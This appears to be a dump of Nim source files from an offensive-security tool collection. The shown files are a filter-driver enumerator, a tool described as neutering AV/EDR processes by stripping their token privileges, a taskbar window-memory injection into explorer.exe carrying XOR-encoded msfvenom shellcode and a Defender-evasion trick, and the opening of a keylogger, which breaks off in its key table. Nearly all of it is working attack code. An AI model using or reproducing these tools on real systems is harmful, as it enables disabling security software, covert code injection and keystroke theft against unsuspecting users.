https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c 9 | - https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/fltuserstructures/ns-fltuserstructures-_filter_aggregate_standard_information 10 | ]# 11 | 12 | import winim 13 | import strformat 14 | import strutils 15 | import unicode 16 | 17 | const 18 | FLTFL_AGGREGATE_INFO_IS_MINIFILTER = 0x00000001 19 | FLTFL_AGGREGATE_INFO_IS_LEGACYFILTER = 0x00000002 20 | 21 | type 22 | wchar_t {.importc.} = object 23 | 24 | MINI_FILTER = object 25 | Flags: culong 26 | FrameID: culong 27 | NumberOfInstances: culong 28 | FilterNameLength: cushort 29 | FilterNameBufferOffset: cushort 30 | FilterAltitudeLength: cushort 31 | FilterAltitudeBufferOffset: cushort 32 | 33 | LEGACY_FILTER = object 34 | Flags: culong 35 | FilterNameLength: cushort 36 | FilterNameBufferOffset: cushort 37 | FilterAltitudeLength: cushort 38 | FilterAltitudeBufferOffset: cushort 39 | 40 | TYPE {.union.} = object 41 | MiniFilter: MINI_FILTER 42 | LegacyFilter: LEGACY_FILTER 43 | 44 | FILTER_AGGREGATE_STANDARD_INFORMATION {.pure.} = object 45 | NextEntryOffset: culong 46 | Flags: culong 47 | Type: TYPE 48 | 49 | PFILTER_AGGREGATE_STANDARD_INFORMATION= ptr FILTER_AGGREGATE_STANDARD_INFORMATION 50 | 51 | #[ 52 | FILTER_AGGREGATE_BASIC_INFORMATION = object 53 | NextEntryOffset: uint 54 | Flags: uint 55 | 56 | FILTER_FULL_INFORMATION = object 57 | NextEntryOffset: uint 58 | Flags: uint 59 | ]# 60 | 61 | FILTER_INFORMATION_CLASS {.pure.} = enum 62 | FilterFullInformation = 0 63 | FilterAggregateBasicInformation 64 | FilterAggregateStandardInformation 65 | 66 | proc FilterFindFirst(dwInformationClass: FILTER_INFORMATION_CLASS, lpBuffer: LPVOID, dwBufferSize: DWORD, lpBytesReturned: LPDWORD, lpFilterFind: LPHANDLE): HRESULT {.importc, dynlib:"fltlib", stdcall.} 67 | proc FilterFindNext(hFilterFind: HANDLE, dwInformationClass: FILTER_INFORMATION_CLASS, lpBuffer: LPVOID, dwBufferSize: DWORD, lpBytesReturned: LPDWORD): HRESULT {.importc, dynlib:"fltlib", stdcall.} 68 | proc FilterFindClose(hFilterFind: HANDLE): HRESULT {.importc, dynlib:"fltlib", stdcall.} 69 | 70 | # This parsing is extremely naive but couldn't figure out how to properly extract the Filter Name and Altitude from their buffer offsets. 71 | proc findAltitude(buf: string, altitude_len: int): int = 72 | var altitude = newString(altitude_len) 73 | var c_found: int = 0 74 | 75 | for c in buf: 76 | if c_found == altitude_len: 77 | break 78 | 79 | if isDigit(c): 80 | altitude.add(c) 81 | c_found += 1 82 | 83 | return parseInt(strutils.strip(altitude, chars={'\0'})) 84 | 85 | proc findFilterName(buf: string, filter_name_len: int): string = 86 | var filter_name = newString(filter_name_len) 87 | var c_found: int = 0 88 | 89 | for c in buf: 90 | if c_found == filter_name_len: 91 | break 92 | 93 | if isAlpha($c): 94 | filter_name.add(c) 95 | c_found += 1 96 | 97 | return strutils.strip(filter_name, chars={'\0'}) 98 | 99 | 100 | proc printFilterInfo(info: PFILTER_AGGREGATE_STANDARD_INFORMATION): void = 101 | case info.Flags: 102 | of FLTFL_AGGREGATE_INFO_IS_MINIFILTER: 103 | echo "--- Minifilter ---" 104 | 105 | var filter_len: int = int(cast[int](info.Type.MiniFilter.FilterNameLength) / sizeof(wchar_t)) 106 | #echo fmt" \---- Filter Name Length: {filter_len}" 107 | 108 | var filter_name = findFilterName($(&info.Type.MiniFilter.FilterNameBufferOffset), filter_len) 109 | echo fmt" \---- Filter Name: {filter_name}" 110 | 111 | var alt_len: int = int(cast[int](info.Type.MiniFilter.FilterAltitudeLength) / sizeof(wchar_t)) 112 | #echo fmt" \---- Filter Altitude Length: {alt_len}" 113 | 114 | var filter_alt = findAltitude($(&info.Type.MiniFilter.FilterAltitudeBufferOffset), alt_len) 115 | echo fmt" \---- Filter Altitude: {filter_alt}" 116 | 117 | echo fmt" \---- Instances: {info.Type.MiniFilter.NumberOfInstances}" 118 | echo fmt" \---- Frame: {info.Type.MiniFilter.FrameID}" 119 | 120 | echo "" 121 | of FLTFL_AGGREGATE_INFO_IS_LEGACYFILTER: 122 | echo "--- Legacy Filter (Not Supported) ---" 123 | echo repr(info) 124 | else: 125 | echo "--- Unknown filter type ---" 126 | 127 | var 128 | szNeeded: DWORD 129 | hDevice: HANDLE 130 | res: HRESULT 131 | info, info2: PFILTER_AGGREGATE_STANDARD_INFORMATION 132 | nfilters: int = 0 133 | 134 | res = FilterFindFirst( 135 | FILTER_INFORMATION_CLASS.FilterAggregateStandardInformation, 136 | NULL, 0, &szNeeded, &hDevice 137 | ) 138 | 139 | if res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER): 140 | 141 | info = cast[PFILTER_AGGREGATE_STANDARD_INFORMATION](LocalAlloc(LPTR, szNeeded)) 142 | res = FilterFindFirst( 143 | FILTER_INFORMATION_CLASS.FilterAggregateStandardInformation, 144 | info, szNeeded, &szNeeded, &hDevice 145 | ) 146 | 147 | if res != S_OK: 148 | LocalFree(cast[HLOCAL](info)) 149 | 150 | printFilterInfo(info) 151 | 152 | while true: 153 | res = FilterFindNext(hDevice, FILTER_INFORMATION_CLASS.FilterAggregateStandardInformation, NULL, 0, &szNeeded) 154 | 155 | if res == HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER): 156 | 157 | info2 = cast[PFILTER_AGGREGATE_STANDARD_INFORMATION](LocalAlloc(LPTR, szNeeded)) 158 | res = FilterFindNext(hDevice, FILTER_INFORMATION_CLASS.FilterAggregateStandardInformation, info2, szNeeded, &szNeeded) 159 | if res == S_OK: 160 | printFilterInfo(info2) 161 | LocalFree(cast[HLOCAL](info2)) 162 | 163 | #if res != S_OK or res != HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS): 164 | # dump res 165 | # break 166 | 167 | nfilters += 1 168 | 169 | if res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS): 170 | break 171 | 172 | echo fmt"[*] Enumerated {nfilters} minifilter(s)" 173 | 174 | elif res == HRESULT_FROM_WIN32(ERROR_ACCESS_DENIED): 175 | echo "[-] Access denied, not enough privs?" 176 | 177 | discard FilterFindClose(hDevice) -------------------------------------------------------------------------------- /src/sandbox_process_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | This effectively sandboxes a process by removing it's token privileges and setting it's integrity level to "Untrusted". 7 | The primary use case of this would be to run it against an AV/EDR process to neuter it even if it's a PPL process. 8 | 9 | References: 10 | - https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/ 11 | - https://github.com/pwn1sher/KillDefender 12 | ]# 13 | 14 | from os import paramStr, commandLineParams 15 | from system import quit 16 | import winim 17 | import std/strformat 18 | 19 | proc toString(chars: openArray[WCHAR]): string = 20 | result = "" 21 | for c in chars: 22 | if cast[char](c) == '\0': 23 | break 24 | result.add(cast[char](c)) 25 | 26 | proc setDebugPrivs(): bool = 27 | var 28 | currentToken: HANDLE 29 | currentDebugValue: LUID 30 | newTokenPrivs: TOKEN_PRIVILEGES 31 | adjustSuccess: WINBOOL 32 | 33 | if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr currentToken) == FALSE: 34 | echo &"[-] Failed to open current process token [Error: {GetLastError()}]" 35 | return false 36 | 37 | if LookupPrivilegeValue(NULL, SE_DEBUG_NAME, addr currentDebugValue) == FALSE: 38 | echo &"[-] Failed to lookup current debug privilege [Error: {GetLastError()}]" 39 | CloseHandle(currentToken) 40 | return false 41 | 42 | newTokenPrivs.PrivilegeCount = 1 43 | newTokenPrivs.Privileges[0].Luid = currentDebugValue 44 | newTokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 45 | 46 | adjustSuccess = AdjustTokenPrivileges( 47 | currentToken, 48 | FALSE, 49 | addr newTokenPrivs, 50 | cast[DWORD](sizeof(newTokenPrivs)), 51 | NULL, 52 | NULL 53 | ) 54 | 55 | if adjustSuccess == FALSE or GetLastError() != ERROR_SUCCESS: 56 | echo &"[-] Failed to set debug privileges on current process [Error: {GetLastError()}]" 57 | CloseHandle(currentToken) 58 | return false 59 | 60 | echo "[+] Successfully set debug privs on current process" 61 | return true 62 | 63 | proc getPid(procname: string): int = 64 | var 65 | entry: PROCESSENTRY32 66 | hSnapshot: HANDLE 67 | 68 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 69 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 70 | defer: CloseHandle(hSnapshot) 71 | 72 | if Process32First(hSnapshot, addr entry): 73 | while Process32Next(hSnapshot, addr entry): 74 | if entry.szExeFile.toString == procname: 75 | var proc_pid = int(entry.th32ProcessID) 76 | echo("[+] Got target proc PID: ", proc_pid); 77 | return proc_pid 78 | 79 | return 0 80 | 81 | proc SetPrivilege(hToken: HANDLE; lpszPrivilege: LPCTSTR; bEnablePrivilege: BOOL): bool = 82 | var tp: TOKEN_PRIVILEGES 83 | var luid: LUID 84 | 85 | var lookupPriv: BOOL = LookupPrivilegeValue(NULL, lpszPrivilege, addr(luid)) 86 | if not bool(lookupPriv): 87 | echo("[-] LookupPrivilegeValue Error: ", GetLastError()) 88 | return false 89 | 90 | tp.PrivilegeCount = 1 91 | tp.Privileges[0].Luid = luid 92 | if bEnablePrivilege: 93 | tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED 94 | else: 95 | tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED 96 | 97 | ## Enable the privilege or disable all privileges. 98 | var adjustToken: BOOL = AdjustTokenPrivileges( 99 | hToken, 100 | FALSE, 101 | addr(tp), 102 | cast[DWORD](sizeof(TOKEN_PRIVILEGES)), 103 | NULL, 104 | NULL 105 | ) 106 | if not bool(adjustToken): 107 | echo("[-] AdjustTokenPrivileges error: ", GetLastError()) 108 | return false 109 | 110 | if GetLastError() == ERROR_NOT_ALL_ASSIGNED: 111 | echo("[-] The token does not have the specified privilege") 112 | return false 113 | 114 | return true 115 | 116 | when isMainModule: 117 | if len(commandLineParams()) == 0: 118 | echo "Usage: sandbox_process.exe [target process name]" 119 | quit(1) 120 | 121 | var sedebugnameValue: LUID 122 | 123 | discard setDebugPrivs() 124 | 125 | var pid: int = getPid(paramStr(1)) 126 | if not bool(pid): 127 | echo(&"[-] Wasn't able to find process '{paramStr(1)}' PID") 128 | 129 | var phandle: HANDLE = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, cast[DWORD](pid)) 130 | if phandle != INVALID_HANDLE_VALUE: 131 | echo(&"[*] Opened Target Handle [{phandle}]") 132 | else: 133 | echo("[-] Failed to open Process Handle") 134 | 135 | var ptoken: HANDLE 136 | var token: BOOL = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, addr(ptoken)) 137 | if token: 138 | echo(&"[*] Opened Target Token Handle [{ptoken}]") 139 | else: 140 | echo(&"[-] Failed to open Token Handle: {GetLastError()}") 141 | 142 | LookupPrivilegeValue( 143 | NULL, 144 | SE_DEBUG_NAME, 145 | addr(sedebugnameValue) 146 | ) 147 | 148 | var tkp: TOKEN_PRIVILEGES 149 | tkp.PrivilegeCount = 1 150 | tkp.Privileges[0].Luid = sedebugnameValue 151 | tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 152 | 153 | var tokenPrivs: BOOL = AdjustTokenPrivileges( 154 | ptoken, 155 | FALSE, 156 | addr(tkp), 157 | cast[DWORD](sizeof(tkp)), 158 | NULL, 159 | NULL 160 | ) 161 | if not bool(tokenPrivs): 162 | echo(&"[-] Failed to Adjust Token's Privileges [{GetLastError()}]") 163 | quit(1) 164 | 165 | 166 | #[ 167 | Explicitly removing the tokens might be overkill? just calling SetTokenInformation() and setting the integrity to "Untrusted" 168 | seems to disable all of the important token privileges automatically with the same desired outcome of "sandboxing" the remote process. 169 | 170 | Not exactly sure if there's any benifit of stripping the token vs just disabling it. 171 | ]# 172 | discard SetPrivilege(ptoken, SE_DEBUG_NAME, TRUE) 173 | discard SetPrivilege(ptoken, SE_CHANGE_NOTIFY_NAME, TRUE) 174 | discard SetPrivilege(ptoken, SE_TCB_NAME, TRUE) 175 | discard SetPrivilege(ptoken, SE_IMPERSONATE_NAME, TRUE) 176 | discard SetPrivilege(ptoken, SE_LOAD_DRIVER_NAME, TRUE) 177 | discard SetPrivilege(ptoken, SE_RESTORE_NAME, TRUE) 178 | discard SetPrivilege(ptoken, SE_BACKUP_NAME, TRUE) 179 | discard SetPrivilege(ptoken, SE_SECURITY_NAME, TRUE) 180 | discard SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT_NAME, TRUE) 181 | discard SetPrivilege(ptoken, SE_INCREASE_QUOTA_NAME, TRUE) 182 | discard SetPrivilege(ptoken, SE_TAKE_OWNERSHIP_NAME, TRUE) 183 | discard SetPrivilege(ptoken, SE_INC_BASE_PRIORITY_NAME, TRUE) 184 | discard SetPrivilege(ptoken, SE_SHUTDOWN_NAME, TRUE) 185 | discard SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE) 186 | echo("[*] Removed All Privileges") 187 | 188 | var integrityLevel: DWORD = SECURITY_MANDATORY_UNTRUSTED_RID 189 | 190 | var integrityLevelSid: SID 191 | integrityLevelSid.Revision = SID_REVISION 192 | integrityLevelSid.SubAuthorityCount = 1 193 | integrityLevelSid.IdentifierAuthority.Value[5] = 16 194 | integrityLevelSid.SubAuthority[0] = integrityLevel 195 | 196 | var tIntegrityLevel: TOKEN_MANDATORY_LABEL 197 | tIntegrityLevel.Label.Attributes = SE_GROUP_INTEGRITY 198 | tIntegrityLevel.Label.Sid = addr(integrityLevelSid) 199 | 200 | # TokenIntegrityLevel symbol was renamed to tokenIntegrityLevel in winim 201 | var tokenInfo = SetTokenInformation( 202 | ptoken, 203 | tokenIntegrityLevel, 204 | addr(tIntegrityLevel), 205 | cast[DWORD](sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(addr(integrityLevelSid))) 206 | ) 207 | 208 | if not bool(tokenInfo): 209 | echo("[-] SetTokenInformation failed") 210 | else: 211 | echo("[*] Token Integrity set to Untrusted") 212 | 213 | CloseHandle(ptoken) 214 | CloseHandle(phandle) 215 | -------------------------------------------------------------------------------- /src/taskbar_ewmi_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Furkan Ayar, Twitter: @frknayar 3 | License: BSD 3-Clause 4 | 5 | This is NIM implementation of Extra Window Memory Injection via "Running applications" property of TaskBar 6 | References: 7 | - https://github.com/AXI4L/Community-Papers/blob/master/Code%20Injection%20using%20Taskbar/src.cpp 8 | ]# 9 | 10 | import winim 11 | import strformat 12 | import std_vector 13 | 14 | proc toString(chars: openArray[WCHAR]): string = 15 | result = "" 16 | for c in chars: 17 | if cast[char](c) == '\0': 18 | break 19 | result.add(cast[char](c)) 20 | 21 | proc GetProcessByName(process_name: string): DWORD = 22 | var 23 | pid: DWORD = 0 24 | entry: PROCESSENTRY32 25 | hSnapshot: HANDLE 26 | 27 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 28 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 29 | defer: CloseHandle(hSnapshot) 30 | 31 | if Process32First(hSnapshot, addr entry): 32 | while Process32Next(hSnapshot, addr entry): 33 | if entry.szExeFile.toString == process_name: 34 | pid = entry.th32ProcessID 35 | break 36 | 37 | return pid 38 | 39 | # Type definitions 40 | type 41 | HANDLE* = int 42 | HWND* = HANDLE 43 | UINT* = int32 44 | LPWSTR = ptr WCHAR 45 | CImpWndProc = object 46 | pfnAddRef, pfnRelease, pfnWndProc: int 47 | 48 | var g_hwndMSTaskListWClass: HWND 49 | 50 | proc EnumProc(hWnd: HWND, lP: LPARAM): BOOL = 51 | var szClass = newWideCString("",127) 52 | GetWindowText(hWnd, cast[LPWSTR](szClass), 127) 53 | if szClass == L"Running applications": 54 | g_hwndMSTaskListWClass = hWnd 55 | 56 | return TRUE 57 | 58 | when isMainModule: 59 | 60 | # Payload dependent constants 61 | const PAYLOADSIZE: SIZE_T = 319 62 | const XOR_KEY: byte = 0x08 63 | 64 | # Definition of variables 65 | var 66 | hwP: HWND 67 | hwC: HWND 68 | hwShellTray: HWND 69 | dwPid: DWORD = 0 70 | bytesRoW: SIZE_T 71 | m_windowPtr: LONG_PTR 72 | vMem: uint64 73 | vTableMem: uint64 74 | m_vTable: CImpWndProc 75 | ptrVTable: uint64 76 | shellcodeAddr: uint64 77 | 78 | # Getting process pid from name 79 | dwPid = GetProcessByName("explorer.exe") 80 | 81 | hwShellTray = FindWindowEx(hwP, hwC, L"Shell_TrayWnd", NULL) 82 | echo fmt"[<] ShellTrayWnd: 0x{hwShellTray.toHex}" 83 | EnumChildWindows(hwShellTray, cast[WNDENUMPROC](EnumProc), cast[LPARAM](NULL)) 84 | echo fmt"[*] Running applications: 0x{g_hwndMSTaskListWClass.toHex}" 85 | GetWindowThreadProcessId(g_hwndMSTaskListWClass, addr dwPid) 86 | echo fmt"[*] Process: explorer.exe Id: {dwPid}" 87 | let hProcess: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid) 88 | echo fmt"[*] Handle: 0x{hProcess.toHex}" 89 | m_windowPtr = GetWindowLongPtr(g_hwndMSTaskListWClass, 0) 90 | echo fmt"[*] VTable Ptr Ptr: 0x{m_windowPtr.toHex}" 91 | 92 | ReadProcessMemory(hProcess, cast[PVOID](m_windowPtr), addr ptrVTable, cast[SIZE_T](sizeof(ptrVTable)), addr bytesRoW) 93 | echo fmt"[*] VTable Ptr: 0x{ptrVTable.toHex}" 94 | ReadProcessMemory(hProcess, cast[PVOID](ptrVTable), addr m_vTable, cast[SIZE_T](sizeof(m_vTable)), addr bytesRoW) 95 | echo fmt"[*] [CImpWndProc.AddRef] -> 0x{m_vTable.pfnAddRef.toHex}" 96 | echo fmt"[*] [CImpWndProc.Release] -> 0x{m_vTable.pfnRelease.toHex}" 97 | echo fmt"[*] [CImpWndProc.WndProc] -> 0x{m_vTable.pfnWndProc.toHex}" 98 | 99 | # msfvenom -a x64 -p windows/x64/exec CMD=notepad.exe EXITFUNC=thread 100 | # Payload is encrypted with XOR 101 | var payload: array[319, byte] = [ 102 | byte 0x40,0x39,0xc1,0x40,0x89,0xe1,0xd5,0xf7,0xf7,0xf7,0x40,0x85,0x0d,0xe7, 103 | 0xf7,0xf7,0xf7,0x40,0xb3,0x84,0xee,0xf6,0x61,0xbf,0x6b,0xb6,0x68,0x40,0x39, 104 | 0x50,0x2f,0x40,0x25,0xf0,0xf7,0xf7,0xf7,0xea,0xfc,0x78,0xa6,0x75,0x85,0x4f, 105 | 0x83,0x76,0x68,0x84,0xee,0xb7,0x30,0xfe,0x3b,0xe4,0x39,0xd2,0xa6,0xc7,0xb3, 106 | 0xda,0x23,0x3d,0x3a,0xe4,0xa6,0x7d,0x33,0xa7,0x23,0x3d,0x3a,0xa4,0xa6,0x7d, 107 | 0x13,0xef,0x23,0xb9,0xdf,0xce,0xa4,0xbb,0x50,0x76,0x23,0x87,0xa8,0x28,0xd2, 108 | 0x97,0x1d,0xbd,0x47,0x96,0x29,0x45,0x27,0xfb,0x20,0xbe,0xaa,0x54,0x85,0xd6, 109 | 0xaf,0xa7,0x29,0x34,0x39,0x96,0xe3,0xc6,0xd2,0xbe,0x60,0x6f,0xe0,0x36,0xe0, 110 | 0x84,0xee,0xf6,0x29,0x3a,0xab,0xc2,0x0f,0xcc,0xef,0x26,0x31,0x34,0x23,0xae, 111 | 0x2c,0x0f,0xae,0xd6,0x28,0xbe,0xbb,0x55,0x3e,0xcc,0x11,0x3f,0x20,0x34,0x5f, 112 | 0x3e,0x20,0x85,0x38,0xbb,0x50,0x76,0x23,0x87,0xa8,0x28,0xaf,0x37,0xa8,0xb2, 113 | 0x2a,0xb7,0xa9,0xbc,0x0e,0x83,0x90,0xf3,0x68,0xfa,0x4c,0x8c,0xab,0xcf,0xb0, 114 | 0xca,0xb3,0xee,0x2c,0x0f,0xae,0xd2,0x28,0xbe,0xbb,0xd0,0x29,0x0f,0xe2,0xbe, 115 | 0x25,0x34,0x2b,0xaa,0x21,0x85,0x3e,0xb7,0xea,0xbb,0xe3,0xfe,0x69,0x54,0xaf, 116 | 0xae,0x20,0xe7,0x35,0xef,0x32,0xc5,0xb6,0xb7,0x38,0xfe,0x31,0xfe,0xeb,0x68, 117 | 0xce,0xb7,0x33,0x40,0x8b,0xee,0x29,0xdd,0xb4,0xbe,0xea,0xad,0x82,0xe1,0x97, 118 | 0x7b,0x11,0xab,0x29,0x05,0x6a,0xb6,0x68,0x84,0xee,0xf6,0x61,0xbf,0x23,0x3b, 119 | 0xe5,0x85,0xef,0xf6,0x61,0xfe,0xd1,0x87,0xe3,0xeb,0x69,0x09,0xb4,0x04,0x8b, 120 | 0xab,0x42,0x8e,0xaf,0x4c,0xc7,0x2a,0xd6,0x2b,0x97,0x51,0xa6,0x75,0xa5,0x97, 121 | 0x57,0xb0,0x14,0x8e,0x6e,0x0d,0x81,0xca,0x6e,0x0d,0x2f,0x97,0x9c,0x99,0x0b, 122 | 0xbf,0x32,0xf7,0xe1,0x5e,0x11,0x23,0x0f,0xd0,0x1f,0xd3,0x18,0xe5,0x8a,0xd8, 123 | 0x04,0xc7,0x0e,0xb6,0x68] 124 | 125 | # Allocating new memory for the new vTable 126 | vTableMem = cast[uint64](VirtualAllocEx(hProcess, NULL, 32, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE)) 127 | echo fmt"[*] New VTable: 0x{vTableMem.toHex}" 128 | 129 | # Writing payload into memory within a small trick in order to evade static checks of Windows Defender 130 | vMem = cast[uint64](VirtualAllocEx(hProcess, NULL, 4096, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE)) 131 | WriteProcessMemory(hProcess, cast[PVOID](vMem), unsafeAddr payload, PAYLOADSIZE, addr bytesRoW) 132 | for i in 0..(PAYLOADSIZE-1): 133 | var sc: char 134 | ReadProcessMemory(hProcess, cast[PVOID](vMem+cast[uint64](i*(sizeof(char)))), addr sc, (cast[SIZE_T](sizeof(char))), addr bytesRoW) 135 | sc = cast[char](cast[byte](sc) xor XOR_KEY) 136 | WriteProcessMemory(hProcess, cast[PVOID](vMem+cast[uint64](i*(sizeof(char)))), addr sc, (cast[SIZE_T](sizeof(char))), addr bytesRoW) 137 | echo fmt"[*] Payload Addr: 0x{vMem.toHex}" 138 | 139 | # Building shellcode to trigger the payload 140 | var shellcode = initVector[uint8]() 141 | shellcode.add(cast[uint8](0x48)) 142 | shellcode.add(cast[uint8](0xb8)) 143 | for i in 0..7: 144 | shellcode.add(cast[uint8](vMem shr cast[uint64](cast[uint8](i * 8) and cast[uint8](0xff)))) 145 | shellcode.add(cast[uint8](0xff)) 146 | shellcode.add(cast[uint8](0xd0)) 147 | shellcode.add(cast[uint8](0x48)) 148 | shellcode.add(cast[uint8](0xb8)) 149 | for i in 0..7: 150 | shellcode.add(cast[uint8](m_vTable.pfnRelease shr cast[uint64](cast[uint8](i * 8) and cast[uint8](0xff)))) 151 | shellcode.add(cast[uint8](0xff)) 152 | shellcode.add(cast[uint8](0xe0)) 153 | 154 | # Setting shellcode location at the end of payload 155 | shellcodeAddr = vMem + cast[uint64](PAYLOADSIZE) + cast[uint64](15) and cast[uint64](-16) 156 | m_vTable.pfnRelease = cast[int](shellcodeAddr) 157 | echo fmt"[*] Shellcode Addr: 0x{shellcodeAddr.toHex}" 158 | 159 | # Planting shellcode into memory 160 | for i in shellcode.toSeq: 161 | WriteProcessMemory(hProcess, cast[PVOID](shellcodeAddr), unsafeAddr i, cast[SIZE_T](sizeof(i)), addr bytesRoW) 162 | shellcodeAddr = shellcodeAddr + cast[uint64](cast[SIZE_T](sizeof(i))) 163 | 164 | WriteProcessMemory(hProcess, cast[PVOID](vTableMem), addr m_vTable, cast[SIZE_T](sizeof(m_vTable)), addr bytesRoW) 165 | # Overwriting the window memory in order to trigger shellcode 166 | WriteProcessMemory(hProcess, cast[PVOID](m_windowPtr), addr vTableMem, cast[SIZE_T](sizeof(vTableMem)), addr bytesRoW) 167 | CloseHandle(hProcess) 168 | echo fmt"[*] Done, Exiting.." 169 | quit(QuitSuccess) 170 | -------------------------------------------------------------------------------- /src/keylogger_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Authors: Marcello Salvati (@byt3bl33d3r), Scottie Austin (@checkymander) & Kiran Patel 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/cobbr/SharpSploit/blob/2fdfc2eec891717884484bb7dde15f8a12113ad3/SharpSploit/Enumeration/Keylogger.cs 7 | ]# 8 | 9 | import winim 10 | import tables 11 | import strformat 12 | import strutils 13 | 14 | type 15 | Keys = enum 16 | Modifiers = -65536 17 | None = 0 18 | LButton = 1 19 | RButton = 2 20 | Cancel = 3 21 | MButton = 4 22 | XButton1 = 5 23 | XButton2 = 6 24 | Back = 8 25 | Tab = 9 26 | LineFeed = 10 27 | Clear = 12 28 | #Return = 13 29 | Enter = 13 30 | ShiftKey = 16 31 | ControlKey = 17 32 | Menu = 18 33 | Pause = 19 34 | Capital = 20 35 | #CapsLock = 20 36 | KanaMode = 21 37 | #HanguelMode = 21 38 | #HangulMode = 21 39 | JunjaMode = 23 40 | FinalMode = 24 41 | #HanjaMode = 25 42 | KanjiMode = 25 43 | Escape = 27 44 | IMEConvert = 28 45 | IMENonconvert = 29 46 | IMEAccept = 30 47 | #IMEAceept = 30 48 | IMEModeChange = 31 49 | Space = 32 50 | #Prior = 33 51 | PageUp = 33 52 | #Next = 34 53 | PageDown = 34 54 | End = 35 55 | Home = 36 56 | Left = 37 57 | Up = 38 58 | Right = 39 59 | Down = 40 60 | Select = 41 61 | Print = 42 62 | Execute = 43 63 | #Snapshot = 44 64 | PrintScreen = 44 65 | Insert = 45 66 | Delete = 46 67 | Help = 47 68 | D0 = 48 69 | D1 = 49 70 | D2 = 50 71 | D3 = 51 72 | D4 = 52 73 | D5 = 53 74 | D6 = 54 75 | D7 = 55 76 | D8 = 56 77 | D9 = 57 78 | A = 65 79 | B = 66 80 | C = 67 81 | D = 68 82 | E = 69 83 | F = 70 84 | G = 71 85 | H = 72 86 | I = 73 87 | J = 74 88 | K = 75 89 | L = 76 90 | M = 77 91 | N = 78 92 | O = 79 93 | P = 80 94 | Q = 81 95 | R = 82 96 | S = 83 97 | T = 84 98 | U = 85 99 | V = 86 100 | W = 87 101 | X = 88 102 | Y = 89 103 | Z = 90 104 | LWin = 91 105 | RWin = 92 106 | Apps = 93 107 | Sleep = 95 108 | NumPad0 = 96 109 | NumPad1 = 97 110 | NumPad2 = 98 111 | NumPad3 = 99 112 | NumPad4 = 100 113 | NumPad5 = 101 114 | NumPad6 = 102 115 | NumPad7 = 103 116 | NumPad8 = 104 117 | NumPad9 = 105 118 | Multiply = 106 119 | Add = 107 120 | Separator = 108 121 | Subtract = 109 122 | Decimal = 110 123 | Divide = 111 124 | F1 = 112 125 | F2 = 113 126 | F3 = 114 127 | F4 = 115 128 | F5 = 116 129 | F6 = 117 130 | F7 = 118 131 | F8 = 119 132 | F9 = 120 133 | F10 = 121 134 | F11 = 122 135 | F12 = 123 136 | F13 = 124 137 | F14 = 125 138 | F15 = 126 139 | F16 = 127 140 | F17 = 128 141 | F18 = 129 142 | F19 = 130 143 | F20 = 131 144 | F21 = 132 145 | F22 = 133 146 | F23 = 134 147 | F24 = 135 148 | NumLock = 144 149 | Scroll = 145 150 | LShiftKey = 160 151 | RShiftKey = 161 152 | LControlKey = 162 153 | RControlKey = 163 154 | LMenu = 164 155 | RMenu = 165 156 | BrowserBack = 166 157 | BrowserForward = 167 158 | BrowserRefresh = 168 159 | BrowserStop = 169 160 | BrowserSearch = 170 161 | BrowserFavorites = 171 162 | BrowserHome = 172 163 | VolumeMute = 173 164 | VolumeDown = 174 165 | VolumeUp = 175 166 | MediaNextTrack = 176 167 | MediaPreviousTrack = 177 168 | MediaStop = 178 169 | MediaPlayPause = 179 170 | LaunchMail = 180 171 | SelectMedia = 181 172 | LaunchApplication1 = 182 173 | LaunchApplication2 = 183 174 | OemSemicolon = 186 175 | #Oem1 = 186 176 | Oemplus = 187 177 | Oemcomma = 188 178 | OemMinus = 189 179 | OemPeriod = 190 180 | OemQuestion = 191 181 | #Oem2 = 191 182 | Oemtilde = 192 183 | #Oem3 = 192 184 | OemOpenBrackets = 219 185 | #Oem4 = 219 186 | OemPipe = 220 187 | #Oem5 = 220 188 | OemCloseBrackets = 221 189 | #Oem6 = 221 190 | OemQuotes = 222 191 | #Oem7 = 222 192 | Oem8 = 223 193 | OemBackslash = 226 194 | #Oem102 = 226 195 | ProcessKey = 229 196 | Packet = 231 197 | Attn = 246 198 | Crsel = 247 199 | Exsel = 248 200 | EraseEof = 249 201 | Play = 250 202 | Zoom = 251 203 | NoName = 252 204 | Pa1 = 253 205 | OemClear = 254 206 | KeyCode = 65535 207 | Shift = 65536 208 | Control = 131072 209 | Alt = 262144 210 | 211 | var 212 | KeyDict = { 213 | Keys.Attn: "[Attn]", 214 | Keys.Clear: "[Clear]", 215 | Keys.Down: "[Down]", 216 | Keys.Up: "[Up]", 217 | Keys.Left: "[Left]", 218 | Keys.Right: "[Right]", 219 | Keys.Escape: "[Escape]", 220 | Keys.Tab: "[Tab]", 221 | Keys.LWin: 